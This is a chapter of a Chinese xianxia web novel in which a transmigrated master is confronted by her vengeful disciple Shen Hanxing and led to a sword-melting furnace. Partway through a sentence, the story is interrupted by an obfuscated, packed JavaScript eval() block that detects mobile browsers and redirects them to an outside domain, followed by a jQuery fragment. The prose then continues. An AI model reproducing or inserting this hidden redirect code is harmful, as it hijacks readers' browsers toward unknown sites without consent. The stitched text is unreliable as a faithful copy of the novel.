“无掌门。”沈寒星眸色沉如深潭,“自您离去,掌门令已尘封千年。各分部由长老协理,中州现暂由朱玉云师妹主事。”
朱玉云啊,简汐音有点印象,是个很沉稳靠谱的弟子,天赋虽非绝佳,却胜在心思缜密,处事公允,由她当掌事倒是合适。
她看向沈寒星:“其实以你和青崖的修为资历,本该是最合适的掌门人选,可惜你们一个在中州闭关,一个在苍梧州闭关。”
“心魔缠身之人,何以执掌宗门?”他话锋陡转,唇角勾起一抹带着冷意的弧度,“先前苍梧州须臾山见了白师弟,眉间煞气倒是淡了许多,想是师尊这些时日费心点拨了。”
有点醋味,简汐音借着饮茶的姿势错开视线:“你还收了徒弟延续道统,可见还是挂心宗门的。”
沈寒星将目光刺向静立一旁的顾归岚,突然冷笑:“师尊可知我为何收他为徒?”
“为何?”简汐音问道。连始终垂首的顾归岚也不由抬眸。
“天生剑骨,道心澄明,本是承我衣钵的最佳人选。”沈寒星收回视线,语带寒霜,“如今看来,倒是废了。”
这话说的真难听,简汐音忍不住蹙眉:“怎么这么说你徒弟?归岚勤勉克己,品性端方,在年轻一辈中已是翘楚,哪里不好?”
“好?是违逆师命的好,还是——”沈寒星目光如冰,“觊觎师祖的好?”
“咳!”简汐音忍不住被茶水呛得直咳嗽,这话怎么接?沈寒星你说话能不能不要这么直接?而且你有什么脸说他?
剑鞘触地之声响起,顾归岚突然上前一步,衣袍翻飞间已跪在她面前:“师尊所说句句属实,弟子甘愿受罚。”
你来添什么乱啊?
简汐音扶额的手还未放下,便听沈寒星的声音响起:“师尊打算如何罚他?”他盯着简汐音看,“像当初折断弟子本命剑那样,折断他的断水剑吗?”
“我……”简汐音话未出口,顾归岚却已双手托举断水剑过头顶。
“弟子愿受此罚。”他抬起眼眸,眼中竟含着灼人的亮,“但求师祖明鉴,幻境中弟子所言字字出自本心。断水可折,道心不改。”
你们师徒发什么疯?简汐音在神识中飞速翻找有什么可以用的技能,面上仍维持着镇定:“……我没说要折你的剑。”
“是么?”沈寒星低笑一声,“是师尊千年后心软了,还是唯独对他……格外维护呢?”
主要是现在不需要刷心魔值剧情了啊!
“寒星。”简汐音轻叹一口气,星子般的目光望进沈寒星的眼底,“寒星,我当年折你的本命剑,是因为……”
“师尊不必解释。”沈寒星打断她的话,“总归是些哄人的话语,您向来巧舌如簧,谎话连篇,弟子已领教百年。可笑的是……”他自嘲地扯了扯嘴角,“明知是谎,弟子却次次都忍不住当真。”
他目光突然变得极深地凝视简汐音的脸:“这张脸,当真是师尊本相么?我觉得应该是的,毕竟初见时我便想,合该是这般模样。只是不知师尊又要用这副皮囊,诓尽多少痴儿?”
简汐音看着他:“看来你对当年我折剑之事,至今仍耿耿于怀。”
“耿耿于怀?”沈寒星向前踏出半步,“师尊错了。那柄剑叫什么名字,弟子早已记不清了。”他轻笑一声,“师尊当真不知,弟子在意的究竟是什么?”
简汐音瞥向跪得笔直的少年:“你确定要当着归岚的面说这些?”
“既然师尊无心叙旧,”沈寒星周身剑气暴涨,九重禁制自脚下蔓延,“那便请移步中州天剑门。”禁制在空中凝成了实质般的锁链,“熔剑炉中,自有分晓。”
简汐音蓦然抬头,那句“沈剑尊欲将简仙尊神魂炼作剑灵”的传言言犹在耳。
“师尊不可!”顾归岚话音未落,沈寒星衣袖一挥,凛冽剑风已将他逼退数丈。少年以剑拄地堪堪稳住身形,虎口震裂,却见赤黑色的锁链正攀上简汐音手腕。
沈寒星看向简汐音,指尖轻叩锁链:“师尊若不想看我堕魔后再来相请,现在便随弟子走吧。”
锁链突然被剑劈碎,顾归岚纵身而起。断水剑出鞘划出月华般的清辉,他浑身被剑气割出细密血痕,剑上出现即将崩裂的痕迹。
沈寒星手指轻抬,万千剑气化作森然剑阵:“你要阻止我?”
“弟子曾经向师祖承诺过。”顾归岚抹去唇畔血痕,将血抹于剑身,断水剑发出龙吟般的清啸,光芒更甚,“纵使剑断人亡,也绝不让师祖踏入熔剑炉半步!”
“可笑。”沈寒星冷哼,手中剑气凝成银白实质长剑,“这般拙劣的剑式,也敢妄言守护?”
就在剑芒即将穿透顾归岚心口瞬间,简汐音突然出声:“够了,我跟你走。”
两人同时的动作顿住,顾归岚目眦欲裂看向简汐音:“师祖三思——”
“无妨。”简汐音微微一笑,“你师尊邀我观炉,想必另有深意。”她转头看向沈寒星,“既然不在意折剑,那迟迟不炼本命剑的原因……我想听听。”
漫天剑气倏然消散。沈寒星欺身上前扣住她手腕:“师尊想知道的,弟子自会告诉您。”
临行时他回望顾归岚,眼底翻涌着他人看不懂的情绪:“今日之后,你我师徒缘尽于此。”玄色袖袍翻卷间又补一句,“但师祖既舍身护你,你当永志不忘。”
话音落下,两道身影已化作剑光遁入云海。
-
中州天剑门。
熔剑炉吞吐着千年不熄的赤焰,灼热气浪卷起简汐音散落的青丝,她望向沈寒星在烈焰映照下忽明忽暗的侧脸,想起了千年前的记忆。
那时候沈寒星还是个意气风发的少年,会把墨发高束成马尾,玄色劲装穿得一丝不苟,对她的所有指令都一板一眼地完成的十分到位,后期简汐音到处出去找支线任务的时候,几乎都是由他来打理宗门事务。
剑修自然最是爱剑,沈寒星的第一把本命剑是以她随手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15406283|162121||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
相赠的新手铁剑为胚,以心头血淬炼,再融以天材地宝,硬生生将粗铁锻成通体霜寒的灵剑。
初入宗门时他道心坚如磐石,不管简汐音对他做什么都坚持认为她有她的道理,心魔值始终不涨,简汐音不得不把目光投向了他的本命剑——反正胚子也不行,重铸一把说不定比这把强多了。
那边剑就是在这种状况下折断的。记忆里那个暴雨倾盆的深夜,少年死死攥着断剑跪在石阶上,任凭她如何劝说都不肯松手,指缝间渗出的鲜血被雨冲刷成淡红的溪流,心魔值终于升到了她满意的数值。
后来她进他神识,用最温柔的语调编织谎言,说断剑重铸才能淬炼剑骨——假的,但她说喜欢,所以沈寒星信了,他重铸了剑,将新剑捧到她面前。重铸后的剑身映着他恢复清明的眼眸,从此他又是世人眼中光风霁月的天剑门首徒,是她亲手雕琢的杰作。
没想到,千年后,第二柄剑终究也断了,简汐音忍不住叹气。
“师尊因何而叹息?”沈寒星的声音裹着熔炉热浪传来,“是为断剑的过去,”他转头,火焰的红光在眸中跳动,“还是熔剑的未来?”
简汐音看向他:“你当真要用我的神魂炼剑?”
燃料爆裂的响声在石室炸开。
沈寒星没有回答她这个问题,却说道:“弟子是天剑门千年来,第一个触摸到渡劫门槛之人。渡劫时,天机乍现,我窥见了些不该看的东西。”
“你看见了什么?”简汐音忍不住捏紧手指。
“那些缠绕在众生身上的线。”他抬手,修长五指在虚空中一划,刹那间银辉流转,无数若隐若现的丝线在他指间缠绕,“师尊可有见过,那些所谓的‘因果线’?”
“你也看见了?”简汐音惊讶道,潮渊的心魔幻境,晏昭临的识海深处,那些诡谲的丝线记忆如潮水般涌来。
“虽只惊鸿一瞥,却如观天地至理。”沈寒星面色沉静,映入眼帘的银芒转瞬又迅速隐没,“这些,都是天道的养料。”
简汐音眉心紧蹙:“我不太明白……”
“爱恨嗔痴,贪恋妄执,皆是因果温床,此人皆有之。修仙者飞升之时,斩尘缘、悟大道,这些因果之力便重归天道。”沈寒星低笑一声,带着几分讥诮,“执念成魔者,亦积累大量因果力,死后被天道吸收。”
他转头看向简汐音:“师尊身上,应当有相当多的因果线缠绕吧?”
“所以你把我带到这里来,是为了斩断和我的因果线,这样才能斩尘缘、悟大道,飞升成仙?”
“飞升?我已在堕魔边缘,谈何飞升?”沈寒星抓住简汐音的手腕,强迫她直视自己那双逐渐被血色侵蚀的眼眸,“师尊是真不懂,还是假不懂?”
简汐音眉头皱得更紧:“你快入魔了。”
“是啊,所以请师尊快一些,到弟子的识海中来。”沈寒星衣袂翻飞如垂死之蝶,“就像您千年前对我做的那样,用那些温柔蚀骨的话语,再杀我一次。”